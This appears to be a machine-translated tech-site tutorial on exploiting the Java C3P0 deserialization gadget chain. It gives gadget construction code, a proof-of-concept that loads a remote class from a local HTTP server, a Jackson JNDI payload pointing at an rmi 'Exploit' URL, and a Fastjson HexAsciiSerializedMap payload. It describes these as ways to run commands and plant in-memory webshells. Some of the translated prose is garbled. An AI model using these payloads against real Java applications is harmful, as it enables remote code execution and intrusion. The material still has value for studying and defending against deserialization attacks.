Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use Java C3P0 chain

2025-03-10 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/01 Report--

Most people do not understand the knowledge points of this article "how to use the Java C3P0 chain", so the editor summarizes the following content, detailed content, clear steps, and has a certain reference value. I hope you can get something after reading this article. Let's take a look at this "how to use the Java C3P0 chain" article.

Preface of 0x00

In some extreme cases, the use of C3P0 chains is quite frequent.

0x01 utilization mode

There are three ways to use it in C3P0

Http base

JNDI

HEX serialization byte loader

If no other chain is found in the native deserialization, you can try C3P0 to load the remote class for command execution. JNDI is suitable for Jackson and other uses. The way HEX serializes the byte loader can be used to enter the memory horse when it is not out of the network with fj and Jackson.

Http base usage

It is also easy to use, you can directly use yso to generate data, send it to the server, and then load it into a specified remote class.

Public class test1 {public static void main (String [] args) throws Exception {C3P0 c3P0 = new C3P0 (); Object object = c3P0.getObject ("http://127.0.0.1:80/:exp"); byte [] serialize = Serializer.serialize (object); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (serialize); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); Object o = objectInputStream.readObject ();}}

0x02 C3P0 Analysis Construction Analysis public Object getObject (String command) throws Exception {int sep = command.lastIndexOf (':'); if (sep < 0) {throw new IllegalArgumentException ("Command format is::");} String url = command.substring (0, sep); String className = command.substring (sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor (PoolBackedDataSource.class) Reflections.getField (PoolBackedDataSourceBase.class, "connectionPoolDataSource") .set (b, new PoolSource (className, url)); return b;} private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {private String className; private String url; public PoolSource (String className, String url) {this.className = className; this.url = url } public Reference getReference () throws NamingException {return new Reference ("exploit", this.className, this.url);} }

The code is simple: reflection creates an PoolBackedDataSource instance object, and then reflection sets the value of connectionPoolDataSource to an instance of the PoolSource class, passing the className and url parameters. That is, the remote address and class name we passed in.

Will call our com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject when serializing

This line of code goes inside the catch code block because the this.connectionPoolDataSource that we pass in, the PoolSource class, is not serializable.

Go on to the following code to see.

Public IndirectlySerialized indirectForm (Object var1) throws Exception {Reference var2 = ((Referenceable) var1) .getReference (); return new ReferenceIndirector.ReferenceSerialized (var2, this.name, this.contextName, this.environmentProperties);}

Call the getReference (); method of the this.connectionPoolDataSource we passed. To get a Reference, which is why we want to rewrite this method earlier.

The instance ReferenceIndirector.ReferenceSerialized passes in the Reference you just obtained.

Utilization analysis

Deserialize the entry to com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

ReferenceIndirector.getObject () is called internally when calling readObject

Class.forName, if you can control the first and third parameters of the forName method, and the first parameter is true, then you can use BCEL, ClassLoader to implement arbitrary code loading and execution.

Dig out the code and test it.

ClassLoader var6 = Thread.currentThread (). GetContextClassLoader (); URL var8 = new URL ("http://127.0.0.1:80"); URLClassLoader urlClassLoader = new URLClassLoader (new URL [] {var8}, var6); Class var12 = Class.forName (" exp ", true, urlClassLoader)

Tracked down the fact that forName0 is native decorated internally and cannot be viewed using the Cmax Clipper + implementation.

To see the official explanation.

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

The translation roughly means that a Class object of a given class or interface is returned. If no classloader is given, the root class loader is used. If the parameter initalize passes true, then the given class will be initialized if it has not been initialized before.

This means that our exp will be initialized to execute malicious code in our static code block.

Official statement

HEX serialization byte loader

{"e": {"@ type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"}, "f": {"@ type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:hex encoded content;"}}

In fj deserialization userOverridesAsString calls settingsetter to pass in a string that begins with HexAsciiSerializedMap to decode and trigger native deserialization.

To see the calling process. The next call is here

This.vcs.fireVetoableChange ("userOverridesAsString", oldVal, userOverridesAsString)

Follow all the way to com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString.

Public static Map parseUserOverridesAsString (String userOverridesAsString) throws IOException, ClassNotFoundException {if (userOverridesAsString! = null) {String hexAscii = userOverridesAsString.substring ("HexAsciiSerializedMap" .length () + 1, userOverridesAsString.length ()-1); byte [] serBytes = ByteUtils.fromHexAscii (hexAscii); return Collections.unmodifiableMap ((Map) SerializableUtils.fromByteArray (serBytes));} else {return Collections.EMPTY_MAP;}}

Extract the content from HexAsciiSerializedMap for deserialization

JNDI uses public static void main (String [] args) throws IOException, JsonProcessingException {String poc = "{\" object\ ": [\" com.mchange.v2.c3p0.JndiRefForwardingDataSource\ ", {\" jndiName\ ":\" rmi://localhost:8088/Exploit\ ",\" loginTimeout\ ": 0}]}"; System.out.println (poc); ObjectMapper objectMapper = new ObjectMapper (); objectMapper.enableDefaultTyping (); objectMapper.readValue (poc, Person.class) }

Jackson calls setter like the fastjson feature, which makes use of setjndiName in JndiRefDataSourceBase

The above is about the content of this article "how to use the Java C3P0 chain". I believe we all have a certain understanding. I hope the content shared by the editor will be helpful to you. If you want to know more about the relevant knowledge, please pay attention to the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report